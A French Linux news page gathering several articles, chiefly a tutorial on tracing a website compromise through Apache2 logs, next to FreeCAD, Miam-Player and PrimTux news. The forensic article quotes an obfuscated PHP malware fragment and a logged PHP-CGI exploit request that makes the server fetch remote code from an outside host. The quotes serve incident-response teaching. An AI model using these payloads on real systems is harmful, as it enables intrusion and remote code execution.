    Dernièrement Ian Rees a demandé à la communauté si elle était disposée à le soutenir financièrement pour son travail sur FreeCAD car il se retrouve en ce moment entre deux boulots. Son précédent emploi consistait à maintenir le télescope à neutrinos IceCube au pole Sud pendant l'hiver lorsqu'il n'y a pas d'accès par avion. Il n'est pas décidé pour son prochain emploi.
    Concernant FreeCAD il s'attarde principalement à développer le module Mise en plan (Drawing). Vous pouvez suivre son travail sur son blog (EN) et éventuellement le soutenir.

    Personnellement, en plus de proposer des services de formations, d'assistance et de développement je propose régulièrement des cours par vidéo conférence accessible à tous gratuitement en proposant aux participants de me soutenir financièrement via Tipeee. Tipeee : Formation Web FreeCAD

    L'équipe principale de développement de FreeCAD à l'exception de Yorik ne fait pas financer le développement de FreeCAD. Cependant elle est ouverte à tout type de développement financé.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Remonter une attaque et trouver la faille avec les logs d'Apache2

    Lundi 4 Mai

    Nous allons voir dans cet article comment remonter une attaque suite au piratage d'un site avec les logs d'Apache. On partira du principe que Apache est déjà configuré pour mettre ses logs dans /var/log/apache2 et dans les fichiers access.log et error.log.

    Sommaire

    La documentation d'apache explique très bien comment est formée une ligne typique d'un fichier de log, mais découpons finement la ligne suivante pour voir ce que ça signifie :

    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0

    Pour info, ça correspond à la ligne suivante dans votre configuration apache2 :

    LogFormat "%{LOGIN}e %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T"

    Pour la comprendre plus facilement, on peut imaginer la lire comme un journal de bord dans lequel la personne qui s'en chargerait raconterait tout avec le plus de détails possible. Dans l'exemple ci-dessus, les logs nous racontent que :

    J'ai eu une requête provenant de l'adresse IP 93.184.216.34 le 20 avril 2014 à 21h54 et 21 secondes (+0200 indiquant la timezone de votre serveur), elle m'a demandé (GET) d'accèder à la ressource /2015/01/25/NSA-bullrun.html en utilisant le protocole HTTP/1.1.

    J'indique ensuite le statut de cette ressource (200), ainsi que sa taille (ici le nombre d'octets envoyés, y compris les en-têtes) (8766).

    Elle m'indique venir du site https://www.libwalk.so (referer) et m'affirme l'avoir fait en utilisant le logiciel Mozilla/5.0 […] (user-agent). Et j'ai mis 0 seconde à servir cette ressource.

    Navigation

    Pour comprendre comment on peut retrouver des traces d'une personne (ou d'un bot) "facilement", voici les logs que génère un visiteur en arrivant sur ce blog (j'ai passé des lignes pour que ce soit plus lisible) :

    93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET / HTTP/1.1" 200 2605 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/slimbox2.css HTTP/1.1" 200 536 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/bootstrap.min.css HTTP/1.1" 200 16343 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:53:46 +0200] "GET /css/style.css HTTP/1.1" 200 673 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0

    Puis en cliquant sur le bouton "read more" de l'article "NSA - À propos de BULLRUN" :

    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/trivial_catastrophic.png HTTP/1.1" 200 96122 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/PGP_encrypted1.png HTTP/1.1" 200 15137 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/OTR_encrypted1.png HTTP/1.1" 200 45057 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0

    Dans la première partie, il arrive sur la page d'accueil du site, et il demande les feuilles de style CSS pour pouvoir afficher l'ensemble convenablement. Dans la seconde partie, on peut voir qu'il charge la page de l'article et qu'il "demande" les images d'illustrations qui vont avec.

    Codes et méthodes

    Les quelques lignes de logs que vous avez ci-dessus sont toujours sur le même modèle (même méthode HTTP, même code HTTP, …), avant de continuer, voici quelques éléments supplémentaires pour mieux comprendre la suite :

    Liste des codes HTTP, avec ceux que l'on retrouve le plus souvent) :

    Nous avons eu seulement des codes 200 dans les requêtes ci-dessus. Voici une vue rapide de ce que l'on peut avoir :

    • 1xx : message d'information, type "requête reçue, le process continue"
    • 2xx : message annonçant un succès
      • 200 : OK
    • 3xx : message annoncant une redirection
      • 307 : redirection temporaire
      • 308 : redirection permanente
    • 4xx : erreur du client
      • 401 : requête non autorisée
      • 403 : requête interdite
      • 404 : requête non trouvée
    • 5xx : erreur du serveur
      • 503 : service non disponible
    Liste des méthodes HTTP
    • GET : demande une ressource (la requête étant normalement sans effet sur celle-ci ressource)
    • POST : transmet des données en vue d'un traitement. Le résultat peut être la création de nouvelles ressources (fichiers…) ou la modification de fichiers existants.
    • HEAD : demande seulement des informations sur la ressource (sans demander la ressource elle-même)

    À noter qu'il existe d'autres méthodes (DELETE, PUT, TRACE…) mais qui apparaissent très, très rarement. Si vous vous êtes fait pirater, et que vous avez une idée du moment de l'attaque, commencez par regarder les requêtes POST ayant eu lieu à ce moment là :)

    Temps de jouer à cache-cache

    Nous allons voir ici deux exemples d'attaques différentes pour vous donner des pistes à suivre.

    Exemple 1 : Drupal

    Un attaquant a réussi à injecter du code sur un Drupal.

    En regardant les fichiers modifiés récemment du site, par exemple avec la commande find et son option -mtime(fichier dont les données ont été modifiées il y a n*24 heures). Dans cette ligne de commande, je recherche donc les fichiers php ayant été modifiés il y a moins de 2 jours.

    find . -mtime -2 -iname "*.php"

    Après un piratage, on trouve souvent des fichiers avec des lignes en plus (souvent en base64 ou avec des chaînes de caractères étranges) :

    $YLbgPfj524 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$oDJXw7301 = $YLbgPfj524[16].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[38].$YLbgPfj524[29].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[16].$YLbgPfj524[6].$YLbgPfj524[4].$YLbgPfj524[40].$YLbgPfj524[30];$Gcwa9593

    Regardons la date exacte de modification d'un des fichiers :

    ls -l sites/all/themes/wtm7973n.php -rw-rw---- 1 www-data www-data 1285 mars 28 06:03 ./sites/all/themes/wtm7973n.php

    et d'un autre :

    ls -l sites/default/db.php -rw-rw---- 1 www-data www-data 510 mars 28 06:19 ./sites/default/db.php

    Notre première piste : le 28 mars à 06h03 (c'est l'heure la plus ancienne que je trouve dans les fichiers modifiés) ; si les logs sont particulièrement verbeux, on peut affiner directement en enlevant les requêtes GET, par exemple avec grep -v "GET" access.log|less).

    Cherchons dans les logs

    On ouvre les logs avec la commande less (less access.log) puis on utilise la touche / pour lancer une recherche (par exemple 2015:06:03) pour voir les requêtes au moment de l'attaque.

    68.180.228.246 - - [28/Mar/2015:06:02:02 +0100] "GET /lidentite-0 HTTP/1.1" 200 8409 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 1 157.55.39.120 - - [28/Mar/2015:06:02:22 +0100] "GET /printmail/5732 HTTP/1.1" 200 8176 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 157.55.39.120 - - [28/Mar/2015:06:02:35 +0100] "GET /print/1832 HTTP/1.1" 200 4531 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0 157.55.39.120 - - [28/Mar/2015:06:02:43 +0100] "GET /print/5041 HTTP/1.1" 200 6582 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0 81.163.131.61 - - [28/Mar/2015:06:03:07 +0100] "POST /index.php?q=fckeditor%2Fxss HTTP/1.1" 404 29446 "-" "-" 1 81.163.131.61 - - [28/Mar/2015:06:03:09 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 3 "-" "-" 0 81.163.131.61 - - [28/Mar/2015:06:03:10 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 13 "-" "-" 0 81.163.131.61 - - [28/Mar/2015:06:03:11 +0100] "GET /sites/all/themes/wtm7973n.php HTTP/1.1" 200 109 "-" "-" 0 91.194.60.86 - - [28/Mar/2015:06:05:01 +0100] "GET /cron.php?cron_key=SkL5Ge7 HTTP/1.1" 200 3 "-" "Wget/1.13.4 (linux-gnu)" 10 207.46.13.9 - - [28/Mar/2015:06:05:12 +0100] "GET /print/2862 HTTP/1.1" 200 4324 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 148.251.68.67 - - [28/Mar/2015:06:05:18 +0100] "GET / HTTP/1.1" 200 50604 "-" "aria2/1.18.6" 1 188.165.15.98 - - [28/Mar/2015:06:05:28 +0100] "GET /concours HTTP/1.1" 200 9948 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 0 157.55.39.120 - - [28/Mar/2015:06:05:51 +0100] "GET /node/6164 HTTP/1.1" 200 9574 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 207.46.13.9 - - [28/Mar/2015:06:06:42 +0100] "GET /breves/www.news.fr HTTP/1.1" 200 9787 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1 83.169.91.4 - - [28/Mar/2015:06:06:58 +0100] "GET / HTTP/1.1" 200 50604 "-" "Mozilla/5.0 (X11; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0" 1 81.163.131.61 - - [28/Mar/2015:06:07:06 +0100] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200 1123 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 1 81.163.131.61 - - [28/Mar/2015:06:07:08 +0100] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200 29207 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 0 125.209.235.176 - - [28/Mar/2015:06:07:14 +0100] "GET /robots.txt HTTP/1.1" 200 649 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 0 125.209.235.179 - - [28/Mar/2015:06:07:15 +0100] "GET / HTTP/1.1" 200 10929 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 1

    À 6:03:07, une première tentative d'injection (POST) semble rater (code 404) :

    81.163.131.61 [28/Mar/2015:06:03:07] "POST /index.php?q=fckeditor%2Fxss 404

    Mais les deux suivantes fonctionnent (code 200) :

    81.163.131.61 [28/Mar/2015:06:03:09] "POST /index.php?q=ckeditor%2Fxss 200 81.163.131.61 [28/Mar/2015:06:03:10] "POST /index.php?q=ckeditor%2Fxss 200

    Puis une requête sur un fichier avec un nom étrange :

    81.163.131.61 [28/Mar/2015:06:07:06] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200

    Et il vient d'être créé :

    ls -l ./sites/all/themes/wtm7973n.php -rw-rw---- 1 2003 2003 1285 mars 28 06:03 ./sites/all/themes/wtm7973n.php

    Si on continue encore un peu dans les logs, on voit cette ligne :

    81.163.131.61 [28/Mar/2015:06:07:08] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200

    Rien ne vous saute aux yeux ? Le fichier wp-conf.php est propre à wordpress, et n'a rien à faire sur un drupal. Il faudra prévoir de faire un peu de nettoyage par la suite.

    VU !

    Donc, on aurait une attaque sur "ckeditor", qui aurait permis de créer d'autres fichiers. Après une petite recherche, ckeditor est un module pour Drupal avec des failles connues, dont la nôtre.

    Un correctif existe, il suffirait donc de restaurer une sauvegarde du site datant d'AVANT l'attaque puis de mettre le module à jour, ce qui permet d'éviter de devoir nettoyer les fichiers un par un, au risque d'en louper.

    Allons plus loin

    L'attaque semble venir d'une faille de ce module, mais autant en être sûr. N'hésitez surtout pas à rechercher dans les logs toutes les IP ayant fait une requête sur les fichiers pirates (wp-conf.php, wtm7973n.php…), puis sur toutes les requêtes que ces adresses IP ont faites.

    Je ne vais pas vous mettre les logs de ces recherches ici, ça prendrait trop de place, mais je note que :

    • 6 adresses IP différentes ont fait des requêtes sur le fichier wp-conf.php :
    zcat *.gz|grep wp-conf.php|awk {'print $1'}|sort|uniq -c 1 188.162.64.65 - 492 requêtes, seulement des 404 2 205.234.200.234 2 31.184.195.247 2 81.163.131.58 9 81.163.131.61 8 81.17.16.116
    • L'IP 81.17.16.111 a fait une requête sur un fichier update.php du module ctools, faudrait peut-être voir pour le mettre à jour par la même occasion si ce n'est pas le cas ;-)
    81.17.16.111 - - [28/Mar/2015:18:22:05 +0100] "POST /sites/all/modules/ctools/page_manager/plugins/update.php HTTP/1.1" 200 13203 "-" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130331 Firefox/21.0" 0 Exemple 2 : vulnérabilité sur PHP 5.2

    Nous avons reçu 2 alertes dans la nuit concernant une attaque sur le site www.exemple.org. L'attaquant a profité de l'utilisation de php5.2 pour lancer le téléchargement d'un fichier sur un serveur distant via la commande wget (sans fichiers modifiés) mais en lancant un processus "ennemi" :

    2001 3912 0.0 0.0 29700 4136 ? S 01:50 0:00 /usr/sbin/httpd

    En fouillant dans les logs au moment de l'attaque, on tombe sur cette ligne :

    189.18.60.245 - - [20/Apr/2015:01:50:27 0200] "GET /?-d%20allow_url_include%3DOn-d%20auto_prepend_file%3Dhttp://www.krol.lt/run.txt HTTP/1.1" 200 7 "-" "Mozilla/3.0 (compatible; Indy Library)" 300

    Et en fait, la réponse se trouve dans error.log :

    [01:50:27] [error] [client 189.18.60.245] --2015-04-20 01:50:27-- http://www.krol.lt/w.txt [01:50:27] [error] [client 189.18.60.245] Resolving www.krol.lt (www.krol.lt)... [01:50:27] [error] [client 189.18.60.245] 5.199.171.10 [01:50:27] [error] [client 189.18.60.245] Connecting to www.krol.lt (www.krol.lt)|5.199.171.10|:80... [01:50:27] [error] [client 189.18.60.245] connected. [01:50:27] [error] [client 189.18.60.245] HTTP request sent, awaiting response... [01:50:27] [error] [client 189.18.60.245] 200 OK [01:50:27] [error] [client 189.18.60.245] Length: 29582 [01:50:27] [error] [client 189.18.60.245] (29K) [text/plain] [01:50:27] [error] [client 189.18.60.245] Saving to: `w.txt' [01:50:27] [error] [client 189.18.60.245] [01:50:27] [error] [client 189.18.60.245] 0K . [01:50:27] [error] [client 189.18.60.245] ........ [01:50:27] [error] [client 189.18.60.245] . ..... [01:50:27] [error] [client 189.18.60.245] ... [01:50:27] [error] [client 189.18.60.245] .. ...... [01:50:27] [error] [client 189.18.60.245] .. 100% [01:50:27] [error] [client 189.18.60.245] 171K=0.2s [01:50:27] [error] [client 189.18.60.245] [01:50:27] [error] [client 189.18.60.245] 2015-04-20 01:50:27 (171 KB/s) - `w.txt' saved [29582/29582] [01:50:27] [error] [client 189.18.60.245]

    La meilleure solution serait de mettre à jour le site pour utiliser une version de php plus récente que la version dont il a besoin actuellement (php 5.2) qui possède des vulnérabilités. Hélas, la meilleure solution n'étant pas toujours possible, il va falloir patcher directement. Si on connait la cause du problème, on trouve normalement des solutions rapidement sur le net, dans notre cas : PHP-CGI Vulnerability Exploited in the Wild qui explique le fonctionnement et la parade de cette attaque via un .htaccess.

    Vous pouvez également éditer directement le(s) vhost(s)p our y ajouter les trois lignes suivantes :

    RewriteEngine on RewriteCond %{QUERY_STRING} (%2d|-)d.*auto_prepend [NC] RewriteRule .? - [F,L] En conclusion

    Avant une attaque :

    • mettre en place des sauvegardes (sites, base de données…) réguliers et automatiques
    • mettre en place un système pour être alerter en cas de problème (supervision sur les processus, chaînes de caractères présentes dans les fichiers…)

    Après une attaque :

    • définir le moment de la création ou de la modification des fichiers
    • rechercher dans les logs l'origine de l'attaque
    • définir les différents attaquants (IP / origine de l'attaque)
    • définir si d'autres fichiers ont été créé/modifié

    Et bien entendu, se tenir à jour ET mettre à jour régulièrement ses CMS :

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Sortie de Miam-Player 0.7.2

    Dimanche 3 Mai

    Depuis la sortie de Miam-Player 0.7.1 à la fin du mois de mars, une quarantaine de commits ont été réalisé. Grâce à Qt, une nouvelle plateforme est supportée sans trop de soucis : OS X Yosemite. Un installeur "Approuvé par l'utilisateur lambda" est également présent.

    Merci à la communauté de Firefox pour leur image disque.

    Liste des modifications
    • Ajout du format Opus
    • Amélioration de la recherche dans la lecture des fichiers OGG Vorbis
    • Ajout d'un indicateur visuel dans la barre de l'explorateur de fichiers, lorsque le chemin est trop long
    • Ajout d'un menu contextuel pour arrêter la lecture après la piste en cours
    • Mise en surbrillance de la liste de lecture lorsque l'on souhaite glisser-déposer des pistes
    • Nouveau curseur représentant le nombre de pistes en cours de déplacement lors d'un glisser-déposer d'une liste à l'autre ou au sein d'une même liste de lecture.
    • Mise à jour automatique et incrémentale de la bibliothèque à chaque démarrage
    • Recherche des pistes favorites via le caractère * : ainsi *** retourne toutes les pistes ayant 3 étoiles ou plus
    • Affichage des étoiles sur la gauche pour les pistes qui en possèdent (paramétrable dans les options)
    • Finalisation du mode de recherche non-exclusif. Les résultats d'une recherche peuvent maintenant s'afficher en gras. Les lettres d'accès rapide à côté de la barre de défilement verticale sont également surlignées. Par exemple, si l'on recherche "live", tous les artistes ayant ce terme (albums, piste, etc) sont retournés. Ainsi "Best of Live" d'Iggy Pop surlignera également la lettre "I"
    • Finalisation de l'affichage de la pochette lorsque l'on déplie un album. Elle est semi-transparente à 66% par défaut mais encore une fois l'utilisateur peut régler simplement de 0 à 100. Si la pochette est trop petite pour la place disponible, le bord gauche est étiré, flouté et rendu linéairement transparent

    Problèmes connus

    Depuis longtemps, le tout premier scan du disque dur fait figer l'interface. En fonction de la quantité de médias à analyser, cela peut durer de quelques secondes à plusieurs minutes.

    Les autres problèmes recensés concernent majoritairement l'éditeur de tags. Consultez le dépôt GitHub pour le listing détaillé.

    Prochaines évolutions Égaliseur

    Grâce à la version 2.2.0 de VLC et de la mise à jour du SDK, l'intégration de l’égaliseur dans Miam-Player sera infiniment plus simple à mettre en œuvre.

    Ci-dessous, voici ce que je compte réaliser comme IHM pour l'égaliseur :

    Éditeur de tags

    La gestion des méta-données requiert encore des ajustements, comme la possibilité d'interagir avec les pochettes dans l'éditeur de tags. Des pistes pour tagger automatiquement à partir du nom de fichiers sont en cours d'étude. Il existe également des services web pour récupérer par lots ces informations et il serait de bon aloi de regarder comment implémenter un tel service.

    Téléchargement

    Sources
    Paquet debian pour Ubuntu 15.04 réalisé par mes soins

    Télécharger ce contenu au format Epub

    Lire les commentaires

    PrimTux distribution éducative basée sur Debian Jessie

    Dimanche 3 Mai

    PrimTux est une distribution GNU/Linux éducative personnalisable basée sur Debian Jessie, disposant de quatre environnements adaptés aux cycles de l'école élémentaire, développée en coopération avec ASRI éducation. La consommation mémoire au démarrage est inférieure à 100 Mo grâce au gestionnaire de fenêtres Fluxbox associé au gestionnaire du bureau Rox. Elle dispose d'un système de catégorisation et d'édition simplifié des raccourcis. Le menu utilisé est celui de PCManFM agrémenté des marque-pages pour distinguer les différentes catégories. L'installation est simple, utilise systemback, ce qui permet de créer facilement ensuite sa propre distribution.

    En session live, les utilisateurs peuvent se connecter avec un mot de passe : mini (cycle 1, mot de passe : tuxmini), super (cycle 2, mot de passe : tuxsuper), maxi (cycle 3, mot de passe : tuxmaxi), quidam (maître, mot de passe : tuxmaitre). Dans le cas d'une installation sur disque dur, ces environnements sont à installer.

    Quatre environnements adaptés personnalisables Accueil

    Mini mot de passe tuxmini

    Super mot de passe tuxsuper

    Maxi mot de passe tuxmaxi

    Maître (Yoda) ou Quidam mot de passe tuxmaitre

    Logiciels éducatifs installés

    • Lecture : Aller, Associations, exercices Beaunis, exercices.free, imageo, le jeu du pendu, le mot le plus long ;
    • Calcul : à nous les nombres, calcul mental, calcul réfléchi, calculatrice, calculette capricieuse, contour, exercices.free, fukubi, la course aux nombres, le matou matheux, le nombre cible, opérations, problèmes, suites, suites arithmétiques, tierce, Tuxmaths ;
    • Clavier-souris : Jnavigue, Mulot, Pysycache ;
    • Compilations : Childsplay, GCompris, Omnitux, pepit, pysiogame, Jclic ;
    • Dessin : Tuxpaint ;
    • Découverte du monde : Atlas Houot ;
    • Géométrie : chemin, epi: labyrinthe, labyrinthe caché, comparaison, piles, symcolor, géotortue, Tangrams ;
    • Sciences : Stellarium, microscope virtuel, Scratch ;
    • Jeux : blobby volley, frozen-bubble, Hannah's horse, monsterz, Mr Patate, ri-li, Seahorse adventures, Supertux ;
    • Pour le maître : Ardora, open sankoré, Pylote, l'administration de Tuxpaint, de GCompris, de Pysycache, Jclic author ;
    • Bureautique : OOO4Kids, Dicorime ;
    • Graphisme : Mirage, Pinta, Shutter ;
    • Internet : FileZilla, Seamonkey ;
    • Son et vidéo : Audacity, Winff, Soundconverter, VLC, gmplayer, xfburn.

    Compatibilité matérielle
    • PrimTux fonctionne sur des PC équipés de processeurs non-PAE et PAE, est compatible avec les PC équipés de BIOS UEFI;
    • Poids: 3,6 Go / 7,2 Go installée ;
    • Consommation RAM: 80 Mo au chargement( version installée) / 90 Mo au chargement (version live);
    • 256 Mo de ram (et swap de 1,5 fois la RAM, habituel sous linux) sont conseillés pour la faire tourner correctement.
    Deux ou trois versions
    • PrimTux ;
    • PrimTux-Wine : cette version contient Wine et le logiciel de Pragmatice « Clicmenu », lanceur des applications Windows compatibles avec la distribution. Le cycle 1 se voit ainsi agrémenté de 20 applications, le cycle 2 de 64 applications, et le cycle 3 de 112 applications, toutes gratuites et pour lesquelles les auteurs ont donné l'autorisation de diffusion à des fins non-commerciales ;
    • PrimTux-dys est à l'étude pour remplacer ASRI Edu 300 orientation dys, une plateforme est conçue sur une base de puppy lucid 528 et requiert seulement 512 Mo RAM pour un confort optimum. Elle peut donc fonctionner sur de très vieux ordinateurs portables. L'ISO de la plateforme peut être gravée sur DVD ou démarrée à partir d'une clé USB amorçable. Elle est dérivée de l'ASRI 300 (plateforme éducative) dégraissée en jeux et intègre des logiciels adaptés aux enfants dyslexiques, dyspraxiques et dyscalculiques.
    Télécharger ce contenu au format Epub

    Lire les commentaires

    Pages